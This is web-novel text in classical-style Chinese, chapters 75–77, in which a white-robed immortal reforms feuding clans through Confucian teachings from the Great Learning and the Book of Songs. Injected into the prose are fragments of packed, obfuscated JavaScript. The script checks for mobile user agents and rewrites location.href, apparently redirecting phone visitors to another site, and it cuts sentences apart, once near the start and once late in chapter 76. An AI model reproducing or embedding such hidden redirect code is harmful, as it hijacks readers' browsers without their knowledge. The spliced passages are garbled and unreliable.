“善哉!三家已得宜家之要。”来人朗声道,“桃之夭夭,其叶蓁蓁。家宜,则如桃之繁茂;宜兄宜弟,则如松之长青;其仪不忒,则如龟之贞固。今三家能宜,堡中从之,正是四国之本。” 飞身而下,如白鹤栖松,点尘不惊。取木剑刻壁下石地: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镇中三诗壁,后人建“宜家阁”护之,阁悬联:“桃夭松茂龟寿,家齐国治天下平”。有家不谐者临壁,壁面自现家事诗训。人传:“此乃白衣仙人所留宜家鉴也。” 本章诫世 一、 宜家三要 - 宜其家人(桃夭篇)——婆媳和,室家宁 - 宜兄宜弟(常棣篇)——兄弟睦,家业兴 - 其仪不忒(鸤鸠篇)——父子正,礼法明 - 破解法:欲齐家,先自问:我家可宜?家人和否?兄弟睦否?仪则正否? 二、 教国根基 - 宜其家人,而后可以教国人;宜兄宜弟,而后可以教国人;其仪不忒,正是四国 - 惕世:多少人对外仁义,家宅不宁?多少人教人以严,待亲以苛?家不宜,何以教人? - 反思:我可为家人典范否?父子兄弟足法,而后民法之。我足法乎? 三、 风化之始 - 其为父子兄弟足法,而后民法之也 - 深层隐喻:治国在齐家,齐家在修身。家齐,则身修之验;家齐,则国治之基 - 终极指向:宜家非独善一家,是立典范以风化四方。一家宜,一家化;百家宜,一乡化;万家宜,一国化 宜家偈: 宜家堡里三家争,家不宜兮妄教人。 秦家婆媳如水火,楚氏兄弟似仇雠。 齐家父子悖礼法,三家不齐国岂宁? 白衣点破宜家道,三诗壁前指迷津。 桃夭蓁蓁宜家人,兄弟宜兮家业兴。 仪则不忒正四国,父子兄弟足法行。 后世叹: 桃之夭夭叶蓁蓁,之子于归宜家人。 宜兄宜弟家和睦,其仪不忒正四邻。 三家当初迷此理,家不宜兮妄教民。 白衣壁前指三要,宜家而后可化人。 正是: 治国在齐其家门,宜家三要须分明。 桃夭蓁蓁宜家室,之子于归宜家人。 宜兄宜弟手足睦,其仪不忒正四邻。 父子兄弟足法后,而后民法效法行。 三诗壁前三家讼,白衣指点宜家经。 75.絜矩谳 楔子·六方碑 沅水出峡处有山城名“絜矩邑”,城中有“六方台”,台立“絜矩碑”,碑镌经文:“所恶于上,毋以使下;所恶于下,毋以事上;所恶于前,毋以先后;所恶于后,毋以从前;所恶于右,毋以交于左;所恶于左,毋以交于右。”笔力沉雄,传为前代兵圣以剑锋刻石,喻“上下前后左右”六方之道。 然百年烽火,碑石残损。邑中六姓世家:钟氏苛下媚上,陈氏欺前畏后,林氏骗右妒左。三族各执一偏,然皆以“礼义传家”自诩,邑中风气浇漓,弱肉强食。 是年霜降,絜矩碑忽现异象:“上、下”二字渗血,“前、后”二字生苔,“左、右”二字错位。三姓家主观碑,各怀鬼胎。 九月九,重阳节,邑中演古战阵“六合阵”。正演至“前后相顾”一节,忽闻阵中主旗“咔嚓”裂响——那杆三丈高的杏黄大纛,旗杆竟自中裂开,一人自旗杆裂缝中飘然而出,如白鹤展翅,落于将台。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,只透出两点寒星般的眸光;着一身云纹素罗深衣,衣摆以银丝绣着六边形纹,暗合六方,行动时纹路流转,似蕴玄机。外罩一件无袖素纱氅衣,氅角缀六枚玉珏,珏珏相衔却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如经纬纵横,似藏天地规矩。足踏素锦登云履,履尖微翘,不染尘埃。 身形挺拔,立于裂旗之侧,帷笠轻纱与阵旗同扬,竟似从战阵中化出的军魂。台下观者骇然,分不清是演是真。 来人以木剑轻点将台,声如金戈: “上老老而民兴孝!” 又点: “上长长而民兴弟!” 再点: “上恤孤而民不倍!” 诵罢,木剑遥指絜矩碑:“三姓家主,可愿登台观碑?” 钟、陈、林三公相顾失色。来人飘然下台,衣袂如流云舒卷:“某有三桩‘絜矩’公案,可请三公分观。观毕,再论平天下。” 一、 上下谳(钟氏) 钟氏三世为吏,家主钟公,现任邑丞。对上谄媚,对下苛酷。昨日,郡守遣使巡查,钟公盛宴款待,歌舞通宵;而狱中囚粮克扣,饿毙三人。邑民敢怒不敢言。 来人引钟公至“上下”碑前。二字渗血,以指拭之,腥气扑鼻。钟公掩鼻。 “所恶于上,毋以使下。”来人问,“钟公恶郡守苛索否?” 钟公赧然:“上命难违…” “既恶苛索,何以苛囚?”来人取狱册,翻至饿毙者名,“此三人罪不至死,然毙于饿。是国法杀之,是公杀之?” 钟公汗出。来人又引至钟宅,见马厩中粟米盈仓,而狱灶冷清。指马厩问:“马食与人食,孰贵?” “自然…人贵。” “然公以人食饲马,以马食饲囚,是贵马贱人,何也?” 钟公语塞。来人叹:“上老老而民兴孝。今公不恤下,民何以孝?上长长而民兴弟。今公不慈下,民何以悌?絜矩之道,在己所不欲,勿施于人。公恶上苛,而苛下更甚,是自悖其矩。” 又取郡守索贿清单:“公恶此单,然转索于商贾。是恶于上,而施于下,矩何在?” 钟公伏地泣,即开仓赈囚,自劾其罪。郡守闻之,亦惭,减征赋三成。是夜,“上下”二字血渍渐淡。来人教“上下法”:待上以忠,待下以恕。钟公自此持平,邑狱无冤。 二、 前后谳(陈氏) 陈氏为商,家主陈公。对前倨后恭:昔日贫时,曾受米商周济,今富,反欺周氏子孙;昔日蒙师教诲,今贵,反鄙蒙师清贫。昨日,周孙乞贷,陈公叱“贱种”;蒙师病笃,陈公闭门不纳。 来人引陈公至“前后”碑前。二字生苔,触之湿滑,如泪痕。陈公缩手。 “所恶于前,毋以先后。”来人问,“陈公恶昔年周氏施恩图报否?” 陈公嗫嚅:“彼确有望报之心…” “既恶图报,何以负恩?”来人取陈公旧年借据,上有周氏印:“借米十石,誓不相忘”。又取陈公昨日叱周孙语:“贱种安敢登门”。两相对照,陈公面赤。 来人又引至蒙师旧宅,茅屋三椽,药炉冷寂。问:“师昔年授公《絜矩》章,可记得?” 陈公垂首。来人曰:“所恶于后,毋以从前。公恶后人负恩,今负前恩,是自食其言。前为因,后为果。种瓜得瓜,种豆得豆。今公种荆棘,欲得嘉禾,可乎?” 取壁上青苔,示陈公:“苔生石上,因石湿;怨生人心,因心寒。今周孙寒,蒙师寒,公心可安?” 陈公泣,即携米帛探蒙师,偿周孙十倍。又设“义报堂”,凡受恩必报。邑中富户感召,多行义举。是夜,“前后”二字苔迹渐褪。来人教“前后法”:不忘前恩,不负后望。陈氏商号,自此“信义”著于四方。 三、 左右谳(林氏) 林氏为匠,家主林公,善营造。然对右(邻坊)欺诈,以次料充好;对左(同宗)嫉妒,暗毁其工。昨日,右坊订梁柱,林公以朽木充数;左宗建书楼,林公暗松其础。事发,右坊索赔,左宗绝交。 来人引林公至“左右”碑前。二字错位,以手推之,纹丝不动。林公骇。 “所恶于右,毋以交于左;所恶于左,毋以交于右。”来人问,“林公恶右坊以次货欺公否?” 林公赧然:“彼…确有不是。” “既恶欺人,何以欺人?”来人取朽木与良材并列:“此木可充梁否?” “不可…” “然公以之充梁,是欺人,是欺心?”又引至书楼,础石松动,危如累卵。“左宗与公同祖,公毁其楼,是毁祖业,何也?” 林公汗下。来人叹:“絜矩之道,在将心比心。公恶右欺,而欺右更甚;恶左妒,而妒左更毒。是自绝左右,孤立无援。上恤孤而民不倍,今公不恤同宗,民岂不倍?” 取错位碑字,以木剑轻击,字复归位。“左、右本相辅,如手如足。今公自伤手足,何以营生?” 林公大恸,即赔右坊,修左楼,更与左右盟誓:“永不相欺。”是夜,“左右”二字复正。来人教“左右法”:交右以信,待左以诚。林氏工坊,自此“坚牢”驰名。 四、 絜矩会 三姓悔改,聚于六方台。来人指絜矩碑: “所谓平天下在治其国者,上老老而民兴孝,上长长而民兴弟,上恤孤而民不倍。今三公为邑中望,上行下效,犹风偃草。公等能正己,则民自正;公等能恕人,则民自恕。” 钟公问:“吾等已改,然邑中仍有弱肉强食,何以化之?” “以絜矩之道化之。”来人召邑民聚台下,令三公自述其过。 钟公述上下苛:“吾苛下媚上,今知罪矣。所恶于上,毋以使下。愿与诸公共守此矩。” 陈公述前后负:“吾负前恩,今知悔矣。所恶于后,毋以从前。愿设义报堂,泽被乡里。” 林公述左右欺:“吾欺左右,今知耻矣。所恶于右,毋以交于左。愿与诸坊同心戮力。” 邑民闻之,有感泣者。有欺下者惭,有负恩者悔,有欺邻者羞。三月间,邑中讼事十去七八。 来人教“絜矩化民法”:择邑中长者,立“絜矩堂”,每月朔望,聚于六方台下,以“己所不欲,勿施于人”相劝勉。又制“絜矩牌”,家家悬户,以为警醒。 五、 平天下谳 冬至,絜矩邑办“絜矩祭”,三姓共主祭。忽有外邑豪强来犯,欲夺邑中盐井。邑民愤,欲战。来人止之,召三姓家主并邑中耆老,会于六方台。 是日,祭典方启,主祭人正诵“上老老而民兴孝”,忽闻祭坛中央那尊六足青铜大鼎发出“轰”然震鸣——鼎内本焚着百草,此刻烟气蒸腾,竟自鼎腹中凝出一道人形,踏烟步虚,如履平地。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与烟气同旋。 “善哉!三公已得絜矩之要。”来人朗声道,“所谓平天下在治其国者,在絜矩之道。今豪强来夺,是彼失矩;我若以暴制暴,是亦失矩。当以矩化之。” 飞身而下,如白鹤穿云,点尘不惊。取木剑画地成图:“盐井六口,分属六坊。今豪强欲独吞,是贪;我可让一口与之,是仁;然约法三章:取盐必平价,用工必予值,伤民必偿命。彼若从,是化其贪;彼若不从,是自绝于道,天必厌之。” 三公从之,遣使与豪强约。豪强嗤:“弱邑何敢言约?”使者正色:“絜矩之道,强弱共守。公恶人夺井,今夺人井,是恶于上而施于下,可乎?” 豪强语塞。其军师谏:“此邑以矩服人,我若强夺,失道寡助。”豪强悟 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治国先要守絜矩。 上老老兮民兴孝, 上长长兮民兴弟。 上恤孤兮民不倍, 君子有絜矩之道。 所恶于上勿使下, 所恶于下勿事上。 所恶前后与左右, 勿以施人自守常。 三姓当初迷此理, 六方碑前指矩方。” 游侠叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子行江湖,可守矩否?所恶于强,毋以欺弱;所恶于弱,毋以谄强;所恶于前,毋以负后;所恶于左,毋以欺右。矩在心中,行自方正。” 游侠惊寤,汗透重衣。翌日,焚债券,释俘囚,散财济贫。后成“义侠”,名动江湖。 城中絜矩碑,后人建“六合亭”护之,亭悬联:“上下前后左右矩,天地东西南北平”。有违矩者临碑,碑面自现警语。人传:“此乃白衣仙人所留絜矩鉴也。” 本章诫世 一、 絜矩六方 - 上下、前后、左右,六方皆需守矩 - 破解法:待人接物,自问“我所恶者,可施于人?”若否,则止 - 示例:三姓各违一矩:钟氏违上下,陈氏违前后,林氏违左右 二、 上行下效 - 上老老而民兴孝,上长长而民兴弟,上恤孤而民不倍 - 惕世:多少人苛下媚上?多少人忘恩负义?多少人欺邻妒友?已所不欲,偏施于人! - 反思:我于上下、前后、左右,可守矩否?可曾“所恶于上,而施于下”? 三、 平天下之基 - 君子有絜矩之道也…此之谓絜矩之道 - 深层隐喻:矩在心,则行在矩;矩在行,则家在矩;矩在家,则国在矩;矩在国,则天下在矩 - 终极指向:平天下在治其国,治其国在齐其家,齐其家在修其身,修身在正其心,正心在诚其意,诚意在致其知,致知在格物。絜矩之道,贯通始终 絜矩偈: 絜矩邑中三姓偏,上下前后左右愆。 钟氏媚上苛下酷,陈氏负前欺后奸。 林氏骗右妒左毒,三姓违矩邑不宁。 白衣点破絜矩道,六方碑前指矩箴。 上老老兮民兴孝,上长长兮民兴悌。 所恶于上勿使下,所恶于下勿事上。 前后左右皆如是,守矩在心天下平。 后世叹: 所谓平天治其国,絜矩之道要分明。 上老老而民兴孝,上恤孤而民不倍。 所恶于上勿使下,所恶于下勿事上。 前后左右皆类推,君子守矩天下平。 三姓当初迷此理,碑前点醒矩中行。 正是: 平天下在治其国,治国务要守絜矩。 上老老而民兴孝,上长长而民兴弟。 上恤孤而民不倍,君子有絜矩之道。 所恶于上勿使下,所恶于下勿事上。 所恶前后与左右,勿以施人自守常。 三姓当初违此矩,六方碑前指迷航。 76.父母谳 楔子·三诗石 岷江之畔有山城名“瞻南山城”,城北有“父母台”,台立“三诗石”,石分三面,分镌《诗经》三章:东面“乐只君子,民之父母”;南面“节彼南山,维石岩岩。赫赫师尹,民具尔瞻”;西面“殷之未丧师,克配上帝。仪监于殷,峻命不易”。字迹苍古,传为前代贤臣以佩剑刻就,喻“为君为官之道”。 然百年离乱,石面斑驳。城中三大姓:孟氏为城主,贪敛好奢;仲氏为将门,暴虐寡恩;季氏为世族,骄横妒贤。三家皆“民之父母”自居,然行止乖悖,民怨沸腾。 是年惊蛰,三诗石忽现异象:“民之父母”四字渗血如泪;“民具尔瞻”四字龟裂如怒目;“峻命不易”四字灰暗如死铁。三姓家主观石,各怀鬼胎。 三月三,上巳节,城中演古乐《南山》。正奏至“民具尔瞻”乐章,忽闻主磬“铿”然裂响——那口重达百斤的青玉大磬,磬体竟自中裂开,一人自磬腹中飘然而出,如白鹤破玉,落于祭坛。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,只透出两点寒潭般的眸光;着一身云纹素罗深衣,衣摆以银丝绣着三重山峦纹,暗合“南山”之象,行动时山峦起伏,似有风云涌动。外罩一件无袖素纱氅衣,氅角缀三枚玉珏,珏珏相叠却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如层岩叠嶂,似藏万古沧桑。足踏素锦步云履,履尖微翘,不染尘埃。 身形清癯,立于裂磬之侧,帷笠轻纱与祭坛幡旗同扬,竟似从磬声中化出的仙灵。台下观者骇然,分不清是乐是幻。 来人以木剑轻敲裂磬,声如裂帛: “民之所好好之,民之所恶恶之!” 又敲: “有国者不可以不慎!” 再敲: “道得众则得国,失众则失国!” 诵罢,木剑遥指三诗石:“三姓家主,可愿登台观石?” 孟、仲、季三公相顾失色。来人飘然下台,衣袂如流云舒卷:“某有三桩‘父母’公案,可请三公分观。观毕,再论得失。” 一、 民之父母谳(孟氏) 孟氏世袭城主,家主孟公。自称“民之父母”,然行止悖逆:民好俭朴,彼好奢靡,加税筑华园;民恶酷吏,彼用贪官,纵仆欺市井。昨日,为建“揽月楼”,强征民田百亩,老农阻挠,被鞭笞下狱。 来人引孟公至“民之父母”石前。四字渗血,以指触之,温热如泪。孟公蹙眉。 “乐只君子,民之父母。”来人问,“孟公可为民父母否?” 孟公强道:“吾养民如子…” “民之所好好之,民之所恶恶之。此之谓民之父母。”来人取民意册,上录民怨三百条:“民好轻赋,公加税;民恶贪官,公用赃;民好俭朴,公好奢。是顺民,是逆民?” 孟公汗出。来人又引至揽月楼址,见民田被毁,麦苗践踏,老农囚于木笼。问:“父母可夺子田?可囚子身?” 孟公语塞。来人叹:“殷之未丧师,克配上帝。仪监于殷,峻命不易。殷纣失民心而丧国,公欲效之乎?” 取石上血泪,抹于孟公掌:“此民之血泪。公自称父母,而饮子血,食子肉,是何父母?” 孟公大恸,即释老农,还其田,罢揽月楼,开仓济贫。是夜,“民之父母”四字血渍渐淡。来人教“父母法”:视民如子,好民所好,恶民所恶。孟公自此简朴,罢苛税,民颂“孟公仁”。 二、 民具尔瞻谳(仲氏) 仲氏为将门,家主仲公,掌城防。赫赫威严,民畏如虎。然暴虐寡恩:士卒有功不赏,小过重罚;民讼不察,动辄鞭挞。昨日,小卒失手打碎瓷碗,仲公令鞭五十,奄奄一息;老妪诉子被豪强殴,仲公斥“刁民滋事”,驱之门外。 来人引仲公至“民具尔瞻”石前。四字龟裂,以手抚之,纹如怒目。仲公缩手。 “节彼南山,维石岩岩。赫赫师尹,民具尔瞻。”来人问,“仲公赫赫,民瞻公何为?” 仲公傲然:“瞻吾威仪…” “民瞻公之仁,非瞻公之威。”来人取军册,记仲公罚卒百例,赏卒不过十。“小过重罚,是立威,是失仁?民诉冤不察,是明断,是昏聩?” 仲公赧然。来人又引至军营,见伤卒卧草铺,无医无药;老妪跪营外,泣诉不止。问:“为将者,不爱卒,民岂附?为官者,不察冤,民岂服?” 取石上裂痕,示仲公:“石裂因内损,民怨因内腐。公苛卒虐民,犹自损基石。基石损,大厦倾,公赫赫威严,可倚乎?” 仲公惭,即延医治卒,重审老妪案,惩豪强,偿其子。又设“明察堂”,凡民讼必细审。是夜,“民具尔瞻”四字裂痕渐合。来人教“尔瞻法”:民之所瞻,在德不在威。仲公自此宽严相济,士卒用命,民颂“仲公明”。 三、 峻命不易谳(季氏) 季氏为世族,家主季公,掌礼教。骄横妒贤:族中子弟有才者压之,寒门士子有能者阻之。昨日,族侄季文作《安民策》,季公斥“狂妄”,禁其入仕;寒士柳生诗才冠绝,季公黜其科考。城中才俊,多怀愤懑。 来人引季公至“峻命不易”石前。四字灰暗,以手扣之,声如朽木。季公骇。 “仪监于殷,峻命不易。”来人问,“季公可知天命不易?” 季公强道:“天命在德…” “道得众则得国,失众则失国。得众在得才,失才如失臂。”来人取季氏家谱,百年间出仕者三十七人,然政声卓著者不过三五。“余者皆庸碌,何也?” “此…时运不济。” “非时运,是妒贤。”来人又取《安民策》与柳生诗:“此文可安民,此诗可感世。公压之黜之,是爱才,是害才?殷纣囚箕子、杀比干,失贤而丧国。公欲效之乎?” 季公汗出。来人叹:“峻命不易,在得人。公妒贤嫉能,犹自断股肱。股肱断,何以行?天命去,何以存?” 取石上灰暗处,以木剑轻刮,露出玉质:“石本玉,蒙尘则暗;才本俊,受压则晦。公为世族,当为天下举贤,何以蔽贤?” 季公泣,即荐季文为吏,聘柳生为塾师,更设“荐贤堂”,凡有才者必举。是夜,“峻命不易”四字渐复光华。来人教“得众法”:得众在得心,得心在得贤。季氏自此门风开明,贤才辈出。 四、 得失会 三姓悔改,聚于父母台。来人指三诗石: “有国者不可以不慎。辟则为天下僇矣。今三公为城中尊,一举一动,民皆瞻之。公慎,则民安;公辟,则民乱。” 孟公问:“吾等已改,然城中仍有豪强欺民,何以治之?” “以父母之心治之。”来人召城民聚台下,令三公自陈其过。 孟公陈奢虐:“吾奢靡虐民,今知罪矣。民之所好好之,民之所恶恶之。愿与民同好恶。” 仲公陈暴苛:“吾暴苛失仁,今知悔矣。赫赫师尹,民具尔瞻。愿以德立威,不以暴立威。” 季公陈妒贤:“吾妒贤蔽才,今知耻矣。道得众则得国,失众则失国。愿为天下举贤。” 城民闻之,欢声雷动。有豪强惭,有酷吏悔,有妒者羞。三月间,城风大治。 来人教“父母化民法”:择城中贤者,立“父母堂”,每月朔望,聚于台下,以“民之父母”相惕励。又制“瞻仰牌”,上书“民具尔瞻”,悬于公门,以为警醒。 五、 得失国谳 端阳,瞻南山城办“父母祭”,三姓共主祭。忽有外寇来犯,号称十万。城民惊,欲弃城。来人止之,召三姓家主并城中耆老,会于父母台。 是日,祭典方启,主祭人正诵“峻命不易”,忽闻祭坛中央那尊三足青铜大鼎发出“嗡”然长鸣——鼎内本焚着香蒿,此刻青烟缭绕,竟自鼎腹中凝出一道人形,踏烟步虚,如登天阶。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎耳之上,衣袂与香烟同旋。 “善哉!三公已得父母之道。”来人朗声道,“道得众则得国,失众则失国。今外寇来犯,是彼失道;我若弃民,是亦失道。当以父母之心守城。” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成图:“寇虽众,乌合也;我虽寡,同心也。孟公散财犒军,仲公整军守城,季公撰檄文鼓气。民为父母,必效死力。” 三公从之。孟公尽散家财,犒赏军民;仲公亲冒矢石,守于城头;季公作《保城赋》,全城传诵。军民感泣,誓同生死。三日血战,外寇见城不可下,又闻檄文中“民之所好好之,民之所恶恶之,此谓民之父母。尔等暴虐,民皆恶之,天必诛之”等语,士气沮丧,竟一夜溃去。 城中文士叹曰:“昔孟公贪奢,仲公暴虐,季公妒贤,民心离散。今三公改过,民皆效死,此谓‘得众则得国’也!” 来人登台顶,临风而立,诵《诗》三章,声清越如磬。诵罢,谓众曰:“乐只君子,民之父母。父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098580|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱子,子岂不孝?民具尔瞻,瞻其德也。有国者不可以不慎,辟则为天下僇矣。殷鉴不远,在夏后之世。三公慎之!” 孟公拜问:“先生将去,何以长守?” 来人指心:“父母之心,在汝胸中。但时时自问:民之所好,我好否?民之所恶,我恶否?若然,则为真父母矣。” 言毕,纵身跃上三诗石顶,足尖一点“瞻”字,身形如白虹贯月,没入云中。众人仰观,唯见石上诗文光华流转,如日如月。 尾声父母谣 十年后,瞻南山城更名“父母邑”。三姓互通婚姻,无分贵贱。邑中设“父母塾”,童蒙入学,先诵三诗。有游学书生过境,见邑中“路不拾遗,夜不闭户,老幼皆有所养”,问:“此邑何治若此?” 老者答:“官民如父母子女。” “何以至此?” 童子诵《父母谣》: “治国要在得民心, 得民要在为父母。 民之所好好好之, 民之所恶恶恶之。 此谓民之父母道, 赫赫师尹民具瞻。 有国不可不谨慎, 辟则为天下所戮。 殷未丧师配上帝, 仪监于殷命不易。 道得众则得国兮, 失众则失国要记。 三姓当初迷此理, 诗石前指父母经。” 书生叹服。是夜,宿邑中,梦来人踏月而至,以木剑点其额:“子若为官,可为父母否?民好俭,子可俭?民恶贪,子可清?民瞻尔德,子可有德?得众得国,失众失国。子可慎之?” 书生惊寤,汗透重衣。翌日,焚行卷,归乡苦读。三年后中进士,为官清正,民颂“父母官”。 邑中三诗石,后人建“父母阁”护之,阁悬联:“乐只君子民父母,赫赫师尹民具瞻”。有官吏临石,石面自现民瘼。人传:“此乃白衣仙人所留父母鉴也。” 本章诫世 一、 民之父母三要 - 民之所好好之,民之所恶恶之(乐只君子章) - 有国者不可以不慎,辟则为天下僇矣(节彼南山章) - 道得众则得国,失众则失国(殷鉴章) - 破解法:为官为长,自问“我可为民父母?我好好恶恶,同于民否?我谨慎否?我得众否?” 二、 三姓三失 - 孟氏失“好恶”——民好俭恶奢,彼反其道 - 仲氏失“谨慎”——民瞻其德,彼逞其威 - 季氏失“得众”——民望得贤,彼反妒贤 - 惕世:多少官吏自称父母,而行同豺虎?多少权贵赫赫威严,而德不配位?多少世族骄横妒贤,而自掘坟墓? 三、 得失之机 - 道得众则得国,失众则失国 - 深层隐喻:得众在得心,得心在顺德。顺民好恶,慎行谨言,举贤任能,则民附;逆民好恶,肆行妄言,蔽贤嫉能,则民离 - 终极指向:治国平天下,在为民父母。父母爱子,则子孝;官爱民,则民忠。此不易之理也 父母偈: 瞻南山城三姓偏,父母之道各失全。 孟氏逆民好恶心,奢虐加征民怨深。 仲氏暴虐失谨慎,民具尔瞻瞻其愆。 季氏妒贤失众道,蔽才压俊天命迁。 三姓迷途不知返,诗石斑驳血泪涟。 白衣点破父母理,三诗石前指玄渊。 民之所好好恶恶,方为民之父母焉。 赫赫师尹民具瞻,有国慎辟免僇愆。 仪监于殷峻不易,得众得国失众颠。 后世叹: 乐只君子民父母,民好好之恶恶之。 赫赫师尹民具瞻,有国不慎僇随之。 殷未丧师配上帝,仪监于殷命不易。 得众得国失众失,三姓当初皆背驰。 诗石斑驳血泪现,白衣指点父母司。 正是: 治国平天下父母,民好好之恶恶之。 乐只君子民父母,此谓民之父母道。 节彼南山石岩岩,赫赫师尹民具瞻。 有国不可不谨慎,辟则为天下所僇。 殷未丧师配上帝,仪监于殷命不易。 道得众则得国兮,失众则失国要记。 三姓当初迷此理,诗石前指父母义。 77.德本谳 楔子·聚散碑 沅陵有山城名“积金城”,城西“聚散台”上立古碑,碑文斑驳可辨:“德者,本也;财者,末也。外本内末,争民施夺。是故财聚则民散,财散则民聚。”相传为前代贤臣刻石警世,风雨百年,字迹渐蚀。 城中富室三姓:金氏聚财如命,仓廪溢粟而佃户啼饥;钱氏重利轻义,放债盘剥致家破人亡;谷氏奢靡无度,一饭千金而路有冻骨。三姓皆以“积善之家”自诩,然行事悖德,民怨暗涌。 是年谷雨,聚散碑忽生异象:“德”字龟裂如蛛网,“财”字反光如镜,碑根渗出血色露珠。三姓家主聚观,各怀忐忑。 四月八,佛诞日,城中演《目连救母》杂剧。正演至“地狱施金”一节,忽闻台上那尊三尺高的铜制“聚宝盆”道具“嗡”然长鸣——铜盆中本盛着纸元宝,此刻纸元宝无风自燃,青烟升腾中,一人自盆中踏焰而出,白衣不染。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,只透出两点寒星般的眸光;着一身云纹素罗深衣,衣摆以银丝绣着太极两仪,行动时阴阳流转,暗合“本末”之意。外罩一件无袖素纱氅衣,氅角缀两枚玉璧,一圆一方,相击无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如老树年轮,隐现生死轮回。足踏素锦登云履,履尖微翘,不染尘埃。 身形清挺,立于燃尽的纸灰之上,帷笠轻纱与余烟同袅,竟似从财焰中化出的清魂。台下观者哗然,分不清是戏是幻。 来人以木剑轻拨铜盆,声如清磬: “君子先慎乎德!” 又拨: “有德此有人,有人此有土!” 再拨: “财聚则民散,财散则民聚!” 诵罢,木剑遥指聚散碑:“三姓家主,可愿登台观碑?” 金、钱、谷三公相顾愕然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘德本’公案,可请三公分观。观毕,再论聚散。” 一、 德本财末谳(金氏) 金氏为粮商巨贾,家主金公。仓廪百座,积粟十年食不尽,然城中粮价奇昂,佃户卖儿鬻女。去岁旱灾,金公闭仓不粜,反抬价三倍,饿殍载道。有饥民跪门乞粮,金公叱:“吾粮非浪得,岂可轻与?” 来人引金公至聚散碑前。以手触“德”字裂纹,指尖沾灰;触“财”字反光,照见其贪婪面容。金公骇退。 “德者,本也;财者,末也。”来人问,“金公以何为本?” 金公强道:“勤俭为本…” “勤以致富,俭以持家,本是美德。”来人指向城外乱葬岗,“然公之富,乃囤积居奇所得;公之俭,乃见死不救所为。此非勤俭,是外本内末,争民施夺!” 取账簿一册:“去岁旱灾,公储粟三十万石,饿毙百姓四百余人。每石粟价,值几条人命?” 金公汗出。来人又引至金氏粮仓,但见粟米陈腐,鼠雀成群。问:“《大学》云‘有德此有人,有人此有土,有土此有财’。公有人否?有土否?粟腐仓中,民死路上,是聚财,是散德?” 金公颤不能答。来人叹:“财聚则民散。公聚粮如山,而民心离散如沙。倘有民变,公能独守此粟否?” 恰此时,仓外饥民聚集,声如潮涌。金公面如死灰。来人道:“今有一法可解:开仓平粜,半价售粮,并以三成济孤贫。财散则民聚,公愿否?” 金公伏地泣,即开仓放粮,粮价复常。是夜,“德”字裂纹渐合。来人教“德本法”:以德为本,以财为末,财散于民,德聚于心。金氏自此行善,民颂“金善人”。 二、 悖入悖出谳(钱氏) 钱氏为钱庄之主,家主钱公。放贷取利,手段酷烈:借十还十五,逾期利滚利;以田地、房宅、子女为质,过期则夺。昨日,佃户王五借银十两医母,逾期三日,钱公夺其田,王母气绝,王五自缢。 来人引钱公至碑阴,背刻小字:“言悖而出者,亦悖而入。货悖而入者,亦悖而出。”字字如钉。钱公触之,指尖生寒。 “货悖而入者,亦悖而出。”来人问,“钱公之财,可有悖入?” 钱公嗫嚅:“皆…皆契约为凭…” “契约是凭,天理更是凭!”来人取借据一叠,皆印血手印,“借十还十五,是三分利;逾期利滚利,是七分利;夺田占房,是绝户计。此非取财,是夺命!” 又引至王五家,见破屋漏雨,老母停尸草席。问:“十两银,一条命,三亩田。公之财,可安稳否?” 钱公垂首。来人曰:“昔石崇斗富,金谷园成瓦砾;邓通铸钱,饿死野人家。货悖而入,必悖而出。公以绝户手段敛财,他日之出,恐不止倾家荡产。” 取钱公怀中银票,扬于风中:“此纸为凭,然天道为秤。悖入之财,如手中沙,握得愈紧,流得愈快。” 忽有债户聚于门外,哭骂不绝。钱公大惧。来人道:“今有一法可解:焚毁高利借据,偿夺田宅,抚恤亡者。悖入之财悖出,或可消弭祸殃。” 钱公泣,即焚借据三百余张,还田宅五十余处,设义冢葬无主尸。是夜,碑阴小字金光微现。来人教“悖出法”:不义之财不可取,已取必还。钱氏自此只行低利贷,民颂“钱仁义”。 三、 散聚谳(谷氏) 谷氏为世袭勋贵,家主谷公。奢靡无度:一席饭费百金,一袭衣值千银;筑“摘星楼”高十丈,金玉为饰。然城中多破屋,老弱无衣。昨日,谷公宴客,弃食百盘,门外乞丐争食馊水,遭仆役驱打。 来人引谷公至碑侧,见“财聚则民散,财散则民聚”十字,字字如血。谷公以袖拂之,袖染殷红。 “财聚则民散,财散则民聚。”来人问,“谷公之财,聚耶?散耶?” 谷公强笑:“吾…亦常施粥…” “日弃百盘食,月施一次粥。是散财,是沽名?”来人引至谷宅厨余所,见整鸡全鱼倒入泔水,门外乞丐眼如饿狼。“朱门酒肉臭,路有冻死骨。公读此诗,可心安否?” 又登摘星楼,但见金玉辉煌,俯视城中,茅屋如蚁。问:“楼高十丈,可摘星否?然低头看,民如蝼蚁。公居高楼,可闻蝼蚁啼饥?” 谷公赧然。来人叹:“有德此有人,有人此有土。公无德,则无人;无人,则无土;无土,此楼何依?他日楼塌,谁人为公埋骨?” 